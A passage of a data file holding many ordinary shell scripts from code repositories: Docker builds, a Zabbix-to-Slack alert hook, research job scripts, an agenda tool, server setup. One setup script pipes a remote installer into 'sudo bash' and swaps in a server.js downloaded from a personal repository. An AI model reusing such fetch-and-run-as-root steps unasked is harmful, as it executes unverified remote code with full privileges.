AUTHOR_EMAIL\nunset AUTHOR\nunset COMPANY\n\necho \"*** Reminder: run 'direnv allow' to complete.\" | warning\nsleep 2\necho \"$PROJECT setup complete.\" | success"} {"text": "#!/usr/bin/env bash\n# usage: bash tools/pre-commit.sh\n# by default uses docker buildkit.\n# to disable it:\n# DOCKER_BUILDKIT=0 bash tools/pre-commit.sh\n\n\nset -e\n\nif [ \"$DOCKER_BUILDKIT\" == \"\" ]; then\n export DOCKER_BUILDKIT=1\nfi\n\ndocker build -t tf_addons_formatting -f tools/docker/pre-commit.Dockerfile .\n\nexport MSYS_NO_PATHCONV=1\ndocker run --rm -t -v \"$(pwd -P):/addons\" tf_addons_formatting"} {"text": "#!/bin/bash\n\ndocker build -t nealhardesty/ffmpeg \"$(dirname $0)\""} {"text": "#!/bin/bash\ncd ./src/Server/;\nmake;\ncd -;\ncd ./src/Client/;\nmake;\ncd -;\ncd ./src/Hook;\ngcc -c Hook.cpp;\nar -crv libHook.a Hook.o;\nrm Hook.o;\ncd -;"} {"text": "1-10\n@test \"inittab set to 5\" {\n grep 'id:5:initdefault:' /etc/inittab\n}"} {"text": "neilsambhu/carla-simulator3\n#!/usr/bin/bash\n# conda init bash\n# source /home/nsambhu/anaconda3/bin/conda\n# conda activate carla-simulator3\n\ntmux new\nls\nxdotool key ctrl+b+d\n# sh /data/data1/GitHub/carla-simulator3/CARLA_0.9.13/CarlaUE4.sh"} {"text": "GeoffMaciolek/zabbix-slack-prettyalertscriptslack.sh\n#!/bin/bash\n\n# Slack incoming web-hook URL and user name\nurl='CHANGEME' # example: https://hooks.slack.com/services/QW3R7Y/D34DC0D3/BCADFGabcDEF123\nusername='Zabbix'\n\n## Values received by this script:\n# To = $1 (Slack channel or user to send the message to, specified in the Zabbix web interface; \"@username\" or \"#channel\")\n# Subject = $2 (usually either PROBLEM {HOST.NAME} or RECOVERY {HOST.NAME}\n# Message = $3 (whatever message the Zabbix action sends, preferably something like \"Zabbix server is unreachable for 5 minutes - Zabbix server (127.0.0.1)\")\n\n# Get the Slack channel or user ($1), Zabbix subject (hopefully either PROBLEM or RECOVERY), and the server in question\nto=\"$1\"\nsubject=$(echo $2|cut -d' ' -f1) # The alert type is before the space, server after, eg\nserver=$(echo $2|cut -d' ' -f2-) # \"Subject: PROBLEM SomeDatabaseServer01\"\n\n# Set up the alert type (future flexibility)\nif [ \"$subject\" == 'RECOVERY' ]; then\n type=\"R\"\nelif [ \"$subject\" == 'PROBLEM' ]; then\n type=\"P\"\nelse\n type=\"N\"\nfi\n\n# Change message emoji, color, and (friendly) status depending on the subject\nif [ $type == 'R' ]; then # Triggered by 'RECOVERY' above\n emoji=':smile:' # A smile,\n color=\"#20E020\" # and red text\n status=\"Recovered\"\nelif [ $type == 'P' ]; then # Triggered by 'PROBLEM' above\n emoji=':frowning:'\n color=\"#E02020\"\n status=\"Problem\"\nelse\n emoji=':ghost:'\n color=\"#808080\"\n status=\"N/A\"\nfi\n\n# The message that we want to send to Slack is the \"subject\" value ($2 / $subject - that we got earlier)\n# followed by the message that Zabbix actually sent us ($3)\nmessage=\"$3\"\n\n# Build our JSON payload and send it as a POST request to the Slack incoming web-hook URL\n# See https://api.slack.com/docs/formatting for formatting details\npayload=\"payload={\n \\\"channel\\\": \\\"${to}\\\",\n \\\"username\\\": \\\"${username}\\\",\n \\\"icon_emoji\\\": \\\"${emoji}\\\",\n \\\"attachments\\\": [\n {\n \\\"title\\\": \\\"${server}: ${status}\\\",\n \\\"fallback\\\": \\\"${message}\\\",\n \\\"text\\\": \\\"${message}\\\",\n \\\"color\\\": \\\"${color}\\\",\n \\\"mrkdwn_in\\\": [ \\\"text\\\" ]\n }\n ] }\"\n\n/usr/bin/curl -m 5 --data-urlencode \"${payload}\" $url"} {"text": "1-10\n#!/bin/bash\ncd /home/nlpserver/zzilong/kaldi/egs/supermarket-product\n. ./path.sh\n( echo '#' Running on `hostname`\n echo '#' Started at `date`\n echo -n '# '; cat <exp/nnet4a/log/train_trans.log\ntime1=`date +\"%s\"`\n ( nnet-train-transitions exp/nnet4a/0.mdl \"ark:gunzip -c exp/tri3c_ali/ali.*.gz|\" exp/nnet4a/0.mdl ) 2>>exp/nnet4a/log/train_trans.log >>exp/nnet4a/log/train_trans.log\nret=$?\ntime2=`date +\"%s\"`\necho '#' Accounting: time=$(($time2-$time1)) threads=1 >>exp/nnet4a/log/train_trans.log\necho '#' Finished at `date` with status $ret >>exp/nnet4a/log/train_trans.log\n[ $ret -eq 137 ] && exit 100;\ntouch exp/nnet4a/q/done.29874\nexit $[$ret ? 1 : 0]\n## submitted with:\n# qsub -v PATH -cwd -S /bin/bash -j y -l arch=*64* -o exp/nnet4a/q/train_trans.log -l mem_free=10G,ram_free=2G,arch=*64 /home/nlpserver/zzilong/kaldi/egs/supermarket-product/exp/nnet4a/q/train_trans.sh >>exp/nnet4a/q/train_trans.log 2>&1"} {"text": "scripts/merge-jfr.sh\n# Based on https://stackoverflow.com/a/60976616\n\njfrDirectory=\"$1\"\ntargetFile=\"$2\"\n\nSCRIPT=\"$(basename \"${0}\")\"\nif [ \"${#}\" -lt 2 ]; then\n echo \"Script to merge JFR files into one. Performs recursive lookup in given directory for .jfr files.\"\n echo \"Then merges them into a single one, one by one, optionally deleting the source to save space.\"\n echo \"Usage: ./${SCRIPT} \"\n exit 1\nfi\n\n# Transform paths into absolute paths\njfrDirectory=$(realpath \"${jfrDirectory}\")\ntargetFile=\"$(realpath \"${targetFile}\")\"\n\n# Check whether the provided location exists\nif [ ! -d \"$jfrDirectory\" ]; then\n echo \"JFR directory ${jfrDirectory} was not found\"\n exit 1\nfi\n\necho \"Essentially, we will be duplicating space on the HDD otherwise.\"\nwhile true; do\n read -r -p \"To save space, do you wish to remove the old .jfr files? [Yn]\" answer\n case $answer in\n y|Y ) deleteFile=true; break;;\n n|N ) deleteFile=false; break;;\n [''] ) deleteFile=true; break;;\n * ) echo \"invalid answer $answer\"\n esac\ndone\n\n\nif [ ! -f \"$targetFile\" ]; then\n echo \"$targetFile does not exist, creating it.\"\n touch \"$targetFile\"\nfi\n\nfind \"$jfrDirectory\" -name '*.jfr' \\\n | while read JFR_FILE; do\n cat \"$JFR_FILE\" >> \"$targetFile\"\n echo \"Pushing $JFR_FILE to $targetFile\"\n if [ \"$deleteFile\" ]; then\n echo \"Deleted $JFR_FILE\"\n rm \"$JFR_FILE\"\n fi\n done"} {"text": "frontAng/init.sh\n/etc/init.d/apache2 restart && sleep infinity"} {"text": "Sunnyfred/Atlantic_Hurricane_Simulations0\n#!/bin/bash\n#SBATCH -J 8kmfixA\n#BATCH -N 1 -n 2\n#SBATCH -t 5:00:00\n#SBATCH -A Momen\n\n#SBATCH --mem=0\n\nmodule add python/3.8\ncd /project/momen/meng/COAWST/results/WRF_VS_WRFSWAN_2/postprocessing_WRFONLY/0_Paper_figures/section3_change_pars_for_weak_winds/source_code_change_Clz_isftcflx_1\n\n###python3 1_Calculate_z0_time_series_at_eye.py\n###python3 1_Calculate_z0_time_series_at_eyewall.py\n\n###python3 1_Calculate_wind_intensity_time_series.py\n###python3 1_Calculate_wind_track.py\n\n###python3 1_Calculate_z0_time_series_at_eye_2km.py\n###python3 1_Calculate_z0_time_series_at_eyewall_2km.py\n\n###python3 1_Calculate_wind_intensity_time_series_2km.py\n###python3 1_Calculate_wind_track_2km.py\n\n\npython3 1_Calculate_avg_speed_vs_slp_multiple_height.py\npython3 1_Calculate_avg_speed_vs_radius_multiple_height.py\npython3 1_Calculate_ZNT_contour_8km.py\npython3 1_Calculate_wind_profiles_8km.py"} {"text": "#!/bin/bash\ndocker run -v $(pwd):/home/jovyan/work -it --rm -p 8888:8888 dltfpt-stack"} {"text": "aaronmboyd/sourcify1-10\n#!/bin/bash\n./scripts/find_replace.sh\n\n# Install E2E test\ngit clone https://github.com/cgewecke/metacoin-source-verify.git\ncd metacoin-source-verify\nyarn\n\n# Publishes sources to IPFS (via Infura) and deploys contracts to Goerli\n# Account key and Infura project ID are Circle CI env variable settings.\nnpm run deploy:goerli || exit 1\n\n# Give monitor a chance to detect and save.\nsleep 300\n\n# Script which verifies repository write\ncd ..\nfor i in `seq 1 10`\ndo\n # Give monitor a chance to detect and save.\n sleep 30\n # Script which verifies repository write\n result=$(./scripts/monitor_ci.js)\n if [[ $result != *\"Error\"* ]]; then\n echo $result\n break\n fi\ndone"} {"text": "#!/bin/sh\n\nset -ex\n\ndocker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\ndocker build -t $GITLAB_IMAGE_NAME .\ndocker push $GITLAB_IMAGE_NAME"} {"text": "#!/bin/sh\n[ -z \"$1\" ] && APPDIR=\"/app/src/\" || APPDIR=\"$1\"\n. /app/src/tests/system/common.sh\nmkdir -p /opt/aerospike/sys/udf/lua\nmkdir -p /opt/aerospike/usr/udf/lua\nmkdir -p /opt/aerospike/smd\n\nasd --config-file tests/system/aerospike/aerospike.conf\n\n$APPDIR/bin/alligator $APPDIR/tests/system/aerospike/alligator.yaml&\nsleep 25\n\nTEXT=`curl -s localhost:1111`\nMETRICS=`cat $APPDIR/tests/system/aerospike/metrics.txt`\nfor NAME in $METRICS\ndo\n\techo \"$TEXT\" | grep $NAME >/dev/null 2>&1 && success $NAME || error \"$TEXT\" $NAME\ndone\n\npkill alligator\npkill aerospike"} {"text": "#!/bin/sh\n\nset -eu\numask u=rwx,og=\n\nif command -v fzf >/dev/null; then \n RPTCMD=fzf_report\nelse\n RPTCMD=report\nfi\nRNGCMD=set_month_range\n\nusage() {\n\tcat 1>&2 <<-EOF\n\t${1:+Error: ${1}}\n\tUSAGE: ${0##*/} [-fhy] FILES\n\n\tDisplay an agenda based on [YYYY-MM-DD] formated dates in FILES.\n\n\tSyntax:\n\t[YYYY-MM-DD]-\tis a sinking reminder,\n\t[YYYY-MM-DD]+\tis a floating task, and\n\t[YYYY-MM-DD]!\tis a looming deadline.\n\t\n\tFlags: \n\t-f\tSuppress fzf on systems where it is present.\n\t-h\tShow this message.\n\t-y\tOutput a yearlong agenda, centered on today.\n\n\tSome day, you will look to txt-agenda(1) for surehanded guidance in all things.\n\n\tEOF\n\texit ${1:+1}\n}\n\nset_date_sentinels() {\n\tYEAR=$(strip_leading_zeroes \"$(date \"+%Y\")\")\n\tMONTH=$(strip_leading_zeroes \"$(date \"+%m\")\")\n\tDAY=$(strip_leading_zeroes \"$(date \"+%d\")\")\n ${RNGCMD}\n}\n\nstrip_leading_zeroes() {\n\tn=$1\n\twhile [ \"$n\" != \"${n#0}\" ] ;do n=${n#0};done\n\techo \"$n\"\n}\n\nformat_date() {\n\ty=$1\n\tm=$2\n\td=$3\n\tprintf \"%04d-%02d-%02d\" \"$y\" \"$m\" \"$d\"\n}\n\nset_month_range() {\n BYEAR=${YEAR}\n FYEAR=${YEAR}\n\tBMONTH=$((MONTH - 1))\n\tFMONTH=$((MONTH + 1))\n # Account for January and December.\n if [ \"${MONTH}\" -eq 1 ]; then\n BMONTH=12\n BYEAR=$((YEAR - 1))\n elif [ \"${MONTH}\" -eq 12 ]; then\n FMONTH=01\n FYEAR=$((YEAR + 1))\n fi\n PAST_SENTINEL=\"$(format_date \"${BYEAR}\" \"${BMONTH}\" \"${DAY}\")\"\n\tPRESENT_SENTINEL=\"$(format_date \"${YEAR}\" \"${MONTH}\" \"$((DAY + 1))\")\"\n\tFUTURE_SENTINEL=\"$(format_date \"${FYEAR}\" \"${FMONTH}\" \"${DAY}\")\"\n}\n\nset_year_range() {\n BYEAR=$((YEAR - 1))\n FYEAR=$((YEAR + 1))\n PAST_SENTINEL=\"$(format_date \"${BYEAR}\" \"${MONTH}\" \"${DAY}\")\"\n\tPRESENT_SENTINEL=\"$(format_date \"${YEAR}\" \"${MONTH}\" \"$((DAY + 1))\")\"\n\tFUTURE_SENTINEL=\"$(format_date \"${FYEAR}\" \"${MONTH}\" \"${DAY}\")\"\n}\n\nget_sort_lines() {\n\tDATE_LINES=$(grep -nH '\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\][\\+\\!\\-]' \"$@\" || true)\n\tDATE_LINES=$(echo \"${DATE_LINES}\" | \\\n\t# Split lines with Awk such that every date on a line is output as a\n\t# new instance of that line headed by that date in [YYYY-MM-DD] format.\n\t\tawk '\n\t\t\tBEGIN {\n\t\t\t\tFS=\":\"\n\t\t\t} \n\t\t\t{\n\t\t\t\tline_text=substr($0, index($0,$3))\n\t\t\t\tsub(/^\\s*/, \"\", line_text)\n\t\t\t\tline_dates=line_text\n\t\t\t\tsub(/^[^\\[]*\\[/,\"[\", line_dates)\n\t\t\t\tgsub(/\\]\\-[^\\[]*/, \"]-:\", line_dates)\n\t\t\t\tgsub(/\\]\\+[^\\[]*/, \"]+:\", line_dates)\n\t\t\t\tgsub(/\\]![^\\[]*/, \"]!:\", line_dates)\n\t\t\t\tgsub(/\\][^\\[\\-\\+!]*\\[/, \"]:[\", line_dates)\n\t\t\t\tsplit(line_dates, line_date_ary)\n\t\t\t\tfor (date_str in line_date_ary) {\n\t\t\t\t\tif (line_date_ary[date_str] ~ \\\n\t\t\t\t\t\t/\\[[0-9]{4}-[0-9][0-9]-[0-9][0-9]\\][\\-\\+!]/) {\n\t\t\t\t\t\tgsub(/ /, \"\", line_date_ary[date_str])\n\t\t\t\t\t\tprint line_date_ary[date_str] \":\" $1 \":\" $2 \":\" line_text\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t}')\n DATE_LINES=\"${DATE_LINES}\"$(echo; echo \"[${PAST_SENTINEL}]\"; \n echo \"[${PRESENT_SENTINEL}]\"; \n echo \"[${FUTURE_SENTINEL}]\");\n SORT_LINES=$(echo \"$DATE_LINES\" | sort -d);\n}\n\nget_sink_lines() {\n beg=$(echo \"${SORT_LINES}\" | grep -m 1 -n \"^\\\\[${PAST_SENTINEL}\\\\]\" | \\\n sed 's/:\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\].*$//')\n end=$(echo \"${SORT_LINES}\" | grep -m 1 -n \"^\\\\[${PRESENT_SENTINEL}\\\\]\" | \\\n sed 's/:\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\].*$//')\n SINK_LINES=$(echo \"${SORT_LINES}\" | sed -n \"${beg},${end}p\" | \\\n (grep '^\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\][\\-]' || true))\n}\n\nget_task_lines() {\n TASK_LINES=$(echo \"${SORT_LINES}\" | sed -n \"1,${end}p\" | \\\n (grep '^\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\][\\+]' || true))\n }\n\nget_dead_lines() {\n end=$(echo \"${SORT_LINES}\" | grep -m 1 -n \"^\\\\[${FUTURE_SENTINEL}\\\\]\" | \\\n sed 's/:\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\].*$//')\n DEAD_LINES=$(echo \"${SORT_LINES}\" | sed -n \"1,${end}p\" | \\\n (grep '^\\[[0-9]\\{4\\}-[0-9][0-9]-[0-9][0-9]\\][\\!]' || true))\n}\n\nreport() {\n { echo \"${SINK_LINES}\";\n echo \"${TASK_LINES}\";\n echo \"${DEAD_LINES}\"; } | sed '/^ *$/d'\n exit\n}\n\nfzf_preview() {\n\tbeg=$(echo \"$1\" | cut -d':' -f3)\n\tdate=$(echo \"$1\" | cut -d':' -f1 | sed \"s/^\\\\[\\\\([0-9]\\\\{4\\\\}-[0-9][0-9]-[0-9][0-9]\\\\)\\\\]./\\\\1/\")\n\tfile=$(echo \"$1\" | cut -d':' -f2) \n\tmarker=$(echo \"$1\" | cut -d':' -f1 | sed \"s/^\\\\[[0-9]\\\\{4\\\\}-[0-9][0-9]-[0-9][0-9]\\\\]\\\\(.\\\\)/\\\\1/\")\n\tif [ \"$beg\" -lt 4 ]; then\n\t\thln=$beg\n\t\tbeg=1\n\telse\n\t\thln=4\n\t\tbeg=$((beg-3))\n\tfi\n\tsed -n -e \"$beg,+20p\" \"$file\" | \\\n\t\tsed -e ${hln}s/[[]\"$date\"[]]\"$marker\"/\"$(printf \"\\\\e[7m\")\"\\[\"$date\"\\]\"$marker\"\"$(printf \"\\\\e[0m\")\"/g\n\texit\n}\n\nfzf_report() {\n\tselected=$(report | fzf --tac --no-sort +s --preview-window=up:wrap --preview=\"$0 -p {}\")\n selected_file_name=$(echo \"${selected}\" | cut -d':' -f2)\n selected_line_num=$(echo \"${selected}\" | cut -d':' -f3)\n exec \"echo\" \"$selected_line_num\" \"$selected_file_name\"\n}\n\n[ ${#} -eq 0 ] &&\n usage 'too few arguments'\nwhile getopts \"fhpy\" OPTION; do\n case ${OPTION} in\n f)\n RPTCMD=report\n ;;\n h)\n usage\n ;;\n\tp)\n\t\tfzf_preview \"$2\"\n\t\t;;\n y)\n RNGCMD=set_year_range\n ;;\n *)\n usage 'invalid option'\n ;;\n esac\ndone\nshift $((OPTIND - 1))\n\nset_date_sentinels\nget_sort_lines \"$@\"\nget_sink_lines\nget_task_lines\nget_dead_lines\n${RPTCMD}"} {"text": "#!/bin/bash\n\n#Filename: meaninstall\n#Author: - Further Work by \n\n#Update files\nsudo apt update -y\nsudo apt upgrade -y\n\n# Grab mongodb & start servcies\nsudo apt install -y dirmngr gnupg apt-transport-https ca-certificates software-properties-common\nwget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -\nsudo add-apt-repository 'deb [arch=amd64] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse'\nsudo apt install -y mongodb-org\nsudo systemctl enable --now mongod\n\n#install node & others\ncurl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -\nsudo apt-get install -y nodejs gcc g++ make git\nsudo git clone https://github.com/meanjs/mean\n\n#Install yarn gulp and sass\ncd mean\nsudo npm install -gs yarn\nsudo npm install -gs --unsafe-perm node-sass\nsudo npm install -gs gulp\nsudo npm update -s\nsudo npm install -s\n\n#Fix all the errors\nsudo npm audit fix -s \n\n#Remove the old server file grab Dai's server file\nsudo rm -f server.js\nsudo wget -O server.js https://raw.githubusercontent.com/ngocdai94/meanStack/main/server.js\n\n#Pull the front end & run everything\ncd public\nsudo git clone https://github.com/Titane73/it115-a5-g2-app.git\ncd .. \nsudo gulp"} {"text": "colinsung/system-integrationAIO/setup_keystore.sh1-10\n#!/bin/bash\n# ===============LICENSE_START=======================================================\n# Acumos Apache-2.0\n# ===================================================================================\n# Copyright (C) 2018 AT&T Intellectual Property. All rights reserved.\n# ===================================================================================\n# This Acumos software file is distributed by AT&T\n# under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# This file is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============LICENSE_END=========================================================\n#\n# What this is: script that enables use of pre-configured CA and server\n# certificates for an Acumos platform, or creation of new self-signed\n# certificates.\n#\n# Prerequisites:\n# - acumos_env.sh script prepared through oneclick_deploy.sh or manually, to\n# set install options (e.g. docker/k8s)\n# - host folder /mnt/$ACUMOS_NAMESPACE/certs created through setup_pv.sh\n#\n# Usage:\n# For docker-based deployments, run this script on the AIO host.\n# For k8s-based deployment, run this script on the AIO host or a workstation\n# connected to the k8s cluster via kubectl (e.g. via tools/setup_kubectl.sh)\n# $ bash setup_keystore.sh\n#\n\nfunction update_cert_env() {\n trap 'fail' ERR\n log \"Updating acumos_env.sh with \\\"export $1=$2\\\"\"\n sedi \"s/$1=.*/$1=$2/\" $AIO_ROOT/acumos_env.sh\n export $1=$2\n}\n\nfunction setup_keystore() {\n trap 'fail' ERR\n if [[ -e certs/$ACUMOS_CERT ]]; then\n log \"Using existing user-prepared files in certs subfolder\"\n else\n log \"Creating new certs in certs subfolder\"\n cd certs\n if [[ \"$ACUMOS_DOMAIN_IP\" == \"$ACUMOS_HOST_IP\" ]]; then\n extra_ips=\"$ACUMOS_DOMAIN_IP\"\n else\n extra_ips=\"$ACUMOS_DOMAIN_IP $ACUMOS_HOST_IP\"\n fi\n bash setup_certs.sh $ACUMOS_CERT_PREFIX $ACUMOS_CERT_SUBJECT_NAME \\\n \"$ACUMOS_HOST $ACUMOS_FEDERATION_DOMAIN\" \"$extra_ips\"\n cd ..\n fi\n\n if [[ ! -e certs/cert_env.sh ]]; then\n log \"Please ensure that cert_env.sh is in the certs folder\"\n fail \"cert_env.sh not found\"\n fi\n source certs/cert_env.sh\n update_cert_env ACUMOS_CERT_KEY_PASSWORD $CERT_KEY_PASSWORD\n update_cert_env ACUMOS_KEYSTORE_PASSWORD $KEYSTORE_PASSWORD\n update_cert_env ACUMOS_TRUSTSTORE_PASSWORD $TRUSTSTORE_PASSWORD\n\n if [[ \"$DEPLOYED_UNDER\" == \"docker\" ]]; then\n if [[ ! -e /mnt/$ACUMOS_NAMESPACE/certs ]]; then\n log \"Folder /mnt/$ACUMOS_NAMESPACE/certs was not found\"\n fail \"Please have a host Admin run setup_prereqs.sh before this script\"\n fi\n cp $(ls certs/* | grep -v '\\.sh') /mnt/$ACUMOS_NAMESPACE/certs/.\n else\n log \"Create kubernetes configmap to hold the keystore and truststore\"\n # See use in deployment templates for portal-be and federation\n if [[ $(kubectl get configmap -n $ACUMOS_NAMESPACE acumos-certs) ]]; then\n log \"Delete existing acumos-certs configmap in case cert changes were made\"\n kubectl delete configmap -n $ACUMOS_NAMESPACE acumos-certs\n fi\n kubectl create configmap -n $ACUMOS_NAMESPACE acumos-certs \\\n --from-file=certs/$ACUMOS_KEYSTORE_P12,certs/$ACUMOS_TRUSTSTORE,certs/$ACUMOS_CA_CERT,certs/$ACUMOS_CERT\n fi\n}\n\nset -x\ntrap 'fail' ERR\nWORK_DIR=$(pwd)\ncd $(dirname \"$0\")\nsource utils.sh\nsource acumos_env.sh\nsetup_keystore\ncd $WORK_DIR"} {"text": "4.install_vim_plugin.sh\n#!/bin/bash\n\n# 安装vim插件\nfunction install_vim_plugin()\n{\n #vim -c \"PlugInstall\" -c \"q\" -c \"q\"\n\tif [ -f \"plugged.tar.bz2\" ];then\n\t\techo \"文件存在\"\n\t\trm -r ~/.vim/plugged\n\t\ttar -xjf plugged.tar.bz2\n\t\tmv plugged ~/.vim/\n\telse\n\t\techo \"文件不存在\"\n\t\tvim -c \"PlugInstall\" -c \"q\" -c \"q\"\n\tfi\n}\n\ninstall_vim_plugin"} {"text": "#!/bin/bash\nset -e\ncd /root\n\n# locale\necho -e \"export LC_ALL=C\\nexport LANG=C\" > /etc/profile.d/lang.sh\nsource /etc/profile.d/lang.sh\n\n# move ec2-user home to /tmp\nunshare --user --map-root-user usermod -d /tmp/ec2-user ec2-user\nmv /home/ec2-user /tmp\n\n# remove stuff\nyum -y remove postfix mariadb-libs selinux-policy cronie audit update-motd amazon-linux-extras gdisk libicu man-db less glibc-locale-source glibc-all-langpacks\n\n# install conda\ncurl https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -o conda.sh\nbash conda.sh -bfp /opt/conda\nrm -f conda.sh\nln -s /opt/conda/etc/profile.d/conda.sh /etc/profile.d/conda.sh\nsource /etc/profile.d/conda.sh\nconda update --all --yes -c conda-forge -c bioconda\nconda clean --all --yes\nconda install --yes -c conda-forge -c bioconda awscli snakemake inotify_simple\nconda clean --all --yes\n\n# install packages\nyum -y install git gcc libuuid-devel openssl-devel libseccomp-devel squashfs-tools cryptsetup glibc-minimal-langpack mdadm\nyum -y update\n\n# install singularity\ncurl https://dl.google.com/go/go1.13.6.linux-amd64.tar.gz -o go.tar.gz\ntar xf go.tar.gz\nrm -f go.tar.gz\nexport GOCACHE=/media/ephemeral0/tmp\nexport HOME=/root\nexport VERSION=v3.5.2\nexport GOPATH=/media/ephemeral0/gopath\nexport PATH=/root/go/bin:$PATH\ngo get -d github.com/sylabs/singularity || true\ncd $GOPATH/src/github.com/sylabs/singularity\ngit fetch\ngit checkout $VERSION\ngo version\nbash mconfig\nmake -C builddir\nmake -C builddir install\ncd /root\n\n# disable stuff\nsystemctl mask serial-getty@ttyS0.service\nsystemctl mask systemd-tmpfiles-clean.timer\nsystemctl disable getty@tty1\nsystemctl disable rsyslog\n\n# dont use PrivateTmp\nsed -i 's/PrivateTmp=yes/PrivateTmp=no/' /usr/lib/systemd/system/chronyd.service\n\n# raid0 params\necho 'options raid0 default_layout=2' > /etc/modprobe.d/raid0.conf\n\n# disable auto upgrade\nsed -i 's/^repo_upgrade:.*/repo_upgrade: none/' /etc/cloud/cloud.cfg\n\n# singularity\nsed -i 's/^mount home =.*/mount home = no/' /usr/local/etc/singularity/singularity.conf\nsed -i 's/^mount tmp =.*/mount tmp = no/' /usr/local/etc/singularity/singularity.conf\nsed -i 's/^mount hostfs =.*/mount hostfs = yes/' /usr/local/etc/singularity/singularity.conf\n\n# clean up\nyum -y remove gcc git\nyum -y autoremove\nyum clean all\nrm -rf /usr/share/doc\nrm -rf $GOPATH\nrm -rf /root/go\nrm -rf /root/.cache\nrm -rf /var/cache/yum/\n\n# reset log file\ncp /var/log/cloud-init-output.log /root/ami.log\ndf -h\necho -n > /var/log/cloud-init-output.log"} {"text": "judiba/Main1-10\n#BY: @judiba\n#R3V1V3R VPS\n#Data de criação: 30/04/2017\n#Nome: ConfVPS02 - PackVPS 2.0\"\nclear\necho -e \"\\033[01;34mConfVPS02\"\necho \"\"\necho -e \"\\033[01;36m BY: @judiba \n R3V1V3R VPS \n Data de criação: 26/04/2017 \n TCPTWEAKER\n Nome: PackVPS 2.0 \\033[1;37m\"\necho \"\"\nread -p \"De enter para continuar...\"\nclear\ntput setaf 8 ; tput setab 5 ; tput bold ; printf '%30s%s%-15s\\n' \"TCP Tweaker 1.0\" ; tput sgr0\nif [[ `grep -c \"^#R3V1V3R\" /etc/sysctl.conf` -eq 1 ]]\nthen\n\techo \"\"\n\techo \"As configurações de rede TCP Tweaker já foram adicionadas no sistema!\"\n\techo \"\"\n\tread -p \"Deseja remover as configurações do TCP Tweaker? [s/n]: \" -e -i n resposta0\n\tif [[ \"$resposta0\" = 's' ]]; then\n\t\tgrep -v \"^#R3V1V3R\nnet.ipv4.tcp_window_scaling = 1\nnet.core.rmem_max = 16777216\nnet.core.wmem_max = 16777216\nnet.ipv4.tcp_rmem = 4096 87380 16777216\nnet.ipv4.tcp_wmem = 4096 16384 16777216\nnet.ipv4.tcp_low_latency = 1\nnet.ipv4.tcp_slow_start_after_idle = 0\" /etc/sysctl.conf > /tmp/syscl && mv /tmp/syscl /etc/sysctl.conf\n/sbin/sysctl -p /etc/sysctl.conf > /dev/null\n\t\techo \"\"\n\t\techo \"As configurações de rede do TCP Tweaker foram removidas com sucesso.\"\n\t\techo \"\"\n\texit\n\telse \n\t\techo \"\"\n\t\texit\n\tfi\nelse\n\techo \"\"\n\techo \"Este é um script experimental. Use por sua conta e risco!\"\n\techo \"Este script irá alterar algumas configurações de rede\"\n\techo \"do sistema para reduzir a latência e melhorar a velocidade.\"\n\techo \"\"\n\tread -p \"Continuar com a instalação? [s/n]: \" -e -i n resposta\n\tif [[ \"$resposta\" = 's' ]]; then\n\techo \"\"\n\techo \"Modificando as seguintes configurações:\"\n\techo \" \" >> /etc/sysctl.conf\n\techo \"#R3V1V3R\" >> /etc/sysctl.conf\necho \"net.ipv4.tcp_window_scaling = 1\nnet.core.rmem_max = 16777216\nnet.core.wmem_max = 16777216\nnet.ipv4.tcp_rmem = 4096 87380 16777216\nnet.ipv4.tcp_wmem = 4096 16384 16777216\nnet.ipv4.tcp_low_latency = 1\nnet.ipv4.tcp_slow_start_after_idle = 0\" >> /etc/sysctl.conf\necho \"\"\n/sbin/sysctl -p /etc/sysctl.conf\n\t\techo \"\"\n\t\techo \"As configurações de rede do TCP Tweaker foram adicionadas com sucesso.\"\n\t\techo \"\"\n\telse\n\t\techo \"\"\n\t\techo \"A instalação foi cancelada pelo usuário!\"\n\t\techo \"\"\n\tfi\nfi\nexit"} {"text": "# Create a training directory and unzip master training tar file there\nmkdir Training\nmv ILSVRC2012_img_train.tar Training\ncd Training \ntar -xvf ILSVRC2012_img_train.tar\n\n# Loop through outputed training class tars (n*.tar), unzip, and put into their own folders\nfor file in n*.tar\ndo \n echo Creating directory ${file%.*}...\n mkdir ${file%.*} \n echo Moving $file into ${file%.*}...\n mv $file ${file%.*} \n echo Entering directory ${file%.*}...\n cd ${file%.*} \n echo Unziping tar file\n tar -xvf *.tar \n echo Exiting directory ${file%.*} and back to parent directory... \n cd .. \ndone"} {"text": "config/hc-backoffice/demo/bootstrap.sh\n#!/bin/bash\n\nset -e\n\n# Lets setup the human connection backend for development\n\n# setup docker-compose\nif [ ! -x /usr/local/bin/docker-compose ]; then\n sudo curl -L \"https://github.com/docker/compose/releases/download/1.26.0/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\n sudo chmod +x /usr/local/bin/docker-compose\nfi\n\n# setup ngrok https://dashboard.ngrok.com/get-started/setup\nif [ ! -x /usr/local/bin/ngrok ]; then\n curl -L https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip > /tmp/ngrok.zip\n sudo unzip /tmp/ngrok.zip -d /usr/local/bin\n rm -f /tmp/ngrok.zip\n ngrok --version\nfi\n\nfunction get_username() {\n curl -X POST \\\n -s -H \"Content-Type: application/json\" \\\n --data '{ \"query\": \"{User(role:admin){name}}\"}' \\\n http://localhost:4000/graphql | \\\n jq '.data.User[0].name' 2>/dev/null\n}\n\nfunction is_backend_up() {\n [ ! -z \"$(get_username)\" ] && return 0\n return 1\n}\n\ndocker-compose up -d\n\nfor i in 